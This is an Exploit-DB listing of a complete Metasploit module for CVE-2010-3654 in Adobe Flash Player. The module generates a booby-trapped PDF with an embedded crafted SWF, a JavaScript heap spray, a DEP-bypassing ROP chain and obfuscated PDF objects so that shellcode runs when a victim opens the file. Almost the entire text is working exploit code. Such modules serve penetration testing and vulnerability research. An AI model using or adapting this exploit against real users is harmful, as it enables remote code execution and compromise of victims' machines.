标题: Adobe Flash Player - 'Button' Arbitrary Code Execution (Metasploit) EDB-ID: 16667 CVE: 2010-3654 类型: LOCAL 平台: WINDOWS 发布日期: 2010-11-01 漏洞利用脚本: ##
# $Id: adobe_flashplayer_button.rb 10857 2010-11-01 22:34:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe Flash Player "Button" Remote Code Execution',
   'Description'    => %q{
     This module exploits a vulnerability in the handling of certain SWF movies
    within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat
    are also vulnerable, as are any other applications that may embed Flash player.

    Arbitrary code execution is achieved by embedding a specially crafted Flash
    movie into a PDF document. An AcroJS heap spray is used in order to ensure
    that the memory used by the invalid pointer issue is controlled.

    NOTE: This module uses a similar DEP bypass method to that used within the
    adobe_libtiff module. This method is unlikely to work across various
    Windows versions due a the hardcoded syscall number.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Unknown',   # Found being openly exploited
     'Haifei Li', # PoC
     'jduck'      # Metasploit version
    ],
   'Version'        => '$Revision: 10857 $',
   'References'     =>
    [
     ['CVE', '2010-3654'],
     ['OSVDB', '68932'],
     ['BID', '44504'],
     ['URL', 'http://www.adobe.com/support/security/advisories/apsa10-05.html'],
     ['URL', 'http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve-2010-3654/'], #PoC
     # For SWF->PDF embedding
     ['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC'             => 'process',
     'InitialAutoRunScript' => 'migrate -f',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00",
     'DisableNops' => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Tested OK via Adobe Reader 9.4.0 on Windows XP SP3 (uses flash 10.1.85.3) -jjd
     [ 'Automatic', { }],
    ],
   'DisclosureDate' => 'Oct 28 2010',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
   ], self.class)
 end

 def exploit
  swf_data = make_swf()
  js_data = make_js(payload.encoded)

  # Create the pdf
  pdf = make_pdf(swf_data, js_data)

  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(pdf)
 end

 def make_swf
  # load the static swf file
  path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-3654.swf" )
  fd = File.open( path, "rb" )
  swf_data = fd.read(fd.stat.size)
  fd.close
  swf_data
 end

 def make_js(encoded_payload)

  # The following executes a ret2lib using BIB.dll
  # The effect is to bypass DEP and execute the shellcode in an indirect way
  stack_data = [
   0xc0c0c0c,
   0x7002fe1,      # mov edx,[esi+0x18] / test edx,edx / je +0x12 / mov eax,[esi+0xc] / mov ecx,[esi+4] / push eax / push ecx / push esi / call edx
   0xcccccccc,
   0xcccccccc,
   0xc0c0c0c + 0x10,
   0x7004919,      # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
   0xcccccccc,
   0x70048ef,      # xchg eax,esp / ret
   0x700156f,      # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
   0xcccccccc,
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009033,      # ret 0x18
   0x7009084,      # ret
   0xc0c0c0c,
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009084,      # ret
   0x7009084,      # ret
   0x7001599,      # pop ebp / ret
   0x10124,
   0x70072f7,      # pop eax / ret
   0x10104,
   0x70015bb,      # pop ecx / ret
   0x1000,
   0x700154d,      # mov [eax], ecx / ret
   0x70015bb,      # pop ecx / ret
   0x7ffe0300,     # -- location of KiFastSystemCall
   0x7007fb2,      # mov eax, [ecx] / ret
   0x70015bb,      # pop ecx / ret
   0x10011,
   0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
   0x70015bb,      # pop ecx / ret
   0x10100,
   0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
   0x70072f7,      # pop eax / ret
   0x10011,
   0x70052e2,      # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
   0x7005c54,      # pop esi / add esp,0x14 / ret
   0xffffffff,
   0x10100,
   0x0,
   0x10104,
   0x1000,
   0x40,
   # The next bit effectively copies data from the interleaved stack to the memory
   # pointed to by eax
   # The data copied is:
   # \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
   # \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
   # \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
   0x700d731,      # mov eax, [ebp-0x24] / ret
   0x70015bb,      # pop ecx / ret
   0x9054905a,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x5815eb5a,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x18891a8b,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x8304c083,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0xfb8104c2,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0xc0c0c0c,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x5ebee75,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0xffffe6e8,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x909090ff,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x90909090,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x90909090,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x90ffffff,
   0x700154d,      # mov [eax], ecx / ret
   0x700d731,      # mov eax, [ebp-0x24] / ret
   0x700112f       # call eax -- (execute stub to transition to full shellcode)
  ].pack('V*')

  var_unescape  = rand_text_alpha(rand(100) + 1)
  var_shellcode = rand_text_alpha(rand(100) + 1)

  var_start     = rand_text_alpha(rand(100) + 1)

  var_s         = 0x10000
  var_c         = rand_text_alpha(rand(100) + 1)
  var_b         = rand_text_alpha(rand(100) + 1)
  var_d         = rand_text_alpha(rand(100) + 1)
  var_3         = rand_text_alpha(rand(100) + 1)
  var_i         = rand_text_alpha(rand(100) + 1)
  var_4         = rand_text_alpha(rand(100) + 1)

  payload_buf = ''
  payload_buf << stack_data
  payload_buf << encoded_payload

  escaped_payload = Rex::Text.to_unescape(payload_buf)

  js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

  js
 end

 def RandomNonASCIIString(count)
  result = ""
  count.times do
   result << (rand(128) + 128).chr
  end
  result
 end

 def ioDef(id)
  "%d 0 obj\n" % id
 end

 def ioRef(id)
  "%d 0 R" % id
 end


 #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
 def nObfu(str)
  result = ""
  str.scan(/./u) do |c|
   if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    result << "#%x" % c.unpack("C*")[0]
   else
    result << c
   end
  end
  result
 end


 def ASCIIHexWhitespaceEncode(str)
  result = ""
  whitespace = ""
  str.each_byte do |b|
   result << whitespace << "%02x" % b
   whitespace = " " * (rand(3) + 1)
  end
  result << ">"
 end


 def make_pdf(swf, js)

  swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

  xref = []
  eol = "\n"
  endobj = "endobj" << eol

  # Randomize PDF version?
  pdf = "%PDF-1.5" << eol
  #pdf << "%" << RandomNonASCIIString(4) << eol

  # catalog
  xref << pdf.length
  pdf << ioDef(1) << nObfu("<</Type/Catalog")
  pdf << nObfu("/Pages ") << ioRef(3)
  pdf << nObfu("/OpenAction ") << ioRef(5)
  pdf << nObfu(">>")
  pdf << eol << endobj

  # pages array
  xref << pdf.length
  pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj

  # page 1
  xref << pdf.length
  pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)
  pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")
  pdf << nObfu(">>")
  pdf << eol << endobj

  # js action
  xref << pdf.length
  pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj

  # js stream
  xref << pdf.length
  compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
  pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
  pdf << "stream" << eol
  pdf << compressed << eol
  pdf << "endstream" << eol
  pdf << endobj

  # swf annotation object
  xref << pdf.length
  pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")
  pdf << nObfu("/Rect [20 20 187 69] ")
  pdf << nObfu("/RichMediaSettings ") << ioRef(8)
  pdf << nObfu("/RichMediaContent ") << ioRef(9)
  pdf << nObfu("/NM (") << swf_name << nObfu(")")
  pdf << nObfu(">>")
  pdf << eol << endobj

  # rich media settings
  xref << pdf.length
  pdf << ioDef(8)
  pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")
  pdf << nObfu("/Activation ") << ioRef(10)
  pdf << nObfu("/Deactivation ") << ioRef(11)
  pdf << nObfu(">>")
  pdf << eol << endobj

  # rich media content
  xref << pdf.length
  pdf << ioDef(9)
  pdf << nObfu("<</Type/RichMediaContent")
  pdf << nObfu("/Assets ") << ioRef(12)
  pdf << nObfu("/Configurations [") << ioRef(14) << "]"
  pdf << nObfu(">>")
  pdf << eol << endobj

  # rich media activation / deactivation
  xref << pdf.length
  pdf << ioDef(10)
  pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")
  pdf << eol << endobj

  xref << pdf.length
  pdf << ioDef(11)
  pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")
  pdf << eol << endobj

  # rich media assets
  xref << pdf.length
  pdf << ioDef(12)
  pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")
  pdf << eol << endobj

  # swf embeded file ref
  xref << pdf.length
  pdf << ioDef(13)
  pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")
  pdf << eol << endobj

  # rich media configuration
  xref << pdf.length
  pdf << ioDef(14)
  pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")
  pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")
  pdf << eol << endobj

  # rich media isntance
  xref << pdf.length
  pdf << ioDef(15)
  pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")
  pdf << nObfu("/Asset ") << ioRef(13)
  pdf << nObfu(">>")
  pdf << eol << endobj

  # swf stream
  # NOTE: This data is already compressed, no need to compress it again...
  xref << pdf.length
  pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
  pdf << "stream" << eol
  pdf << swf << eol
  pdf << "endstream" << eol
  pdf << endobj

  # trailing stuff
  xrefPosition = pdf.length
  pdf << "xref" << eol
  pdf << "0 %d" % (xref.length + 1) << eol
  pdf << "0000000000 65535 f" << eol
  xref.each do |index|
   pdf << "%010d 00000 n" % index << eol
  end

  pdf << "trailer" << eol
  pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

  pdf << "startxref" << eol
  pdf << xrefPosition.to_s() << eol

  pdf << "%%EOF" << eol
  pdf
 end

end URL: https://www.exploit-db.com/exploits/16667